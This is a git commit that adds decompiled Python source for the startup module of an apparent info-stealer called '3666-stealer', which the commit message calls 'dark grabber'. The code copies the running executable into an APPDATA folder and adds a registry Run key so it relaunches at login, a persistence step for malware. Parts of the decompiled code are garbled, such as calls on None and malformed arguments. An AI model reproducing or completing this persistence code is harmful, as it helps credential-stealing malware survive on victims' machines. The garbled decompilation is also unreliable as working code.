add: annexe pour les fichiers de dark grabber

This commit is contained in:
2023-01-02 16:25:26 +01:00
parent 6f4f5eba33
commit 6855199913
9 changed files with 1249 additions and 1 deletions

View File

@@ -0,0 +1,58 @@
# Source Generated with Decompyle++
# File: startup.pyc (Python 3.10)
import subprocess
import os
import shutil
import sys
class Startup:
def __init__(self = None):
self.working_dir = os.getenv('APPDATA') + '\\3666-stealer'
if self.check_self():
return None
None.mkdir()
self.write_stub()
self.regedit()
def check_self(self = None):
if os.path.realpath(sys.executable) == self.working_dir + '\\dat.txt':
return True
def mkdir(self = None):
if not os.path.isdir(self.working_dir):
os.mkdir(self.working_dir)
return None
None.rmtree(self.working_dir)
os.mkdir(self.working_dir)
def write_stub(self = None):
shutil.copy2(os.path.realpath(sys.executable), self.working_dir + '\\dat.txt')
# WARNING: Decompyle incomplete
def regedit(self = None):
subprocess.run([
'reg',
'delete',
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
'/v',
'3666-stealer',
'/f'], True, **('args', 'shell'))
subprocess.run([
'reg',
'add',
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
'/v',
'3666-stealer',
'/t',
'REG_SZ',
'/d',
f'''{self.working_dir}\\run.bat''',
'/f'], True, **('args', 'shell'))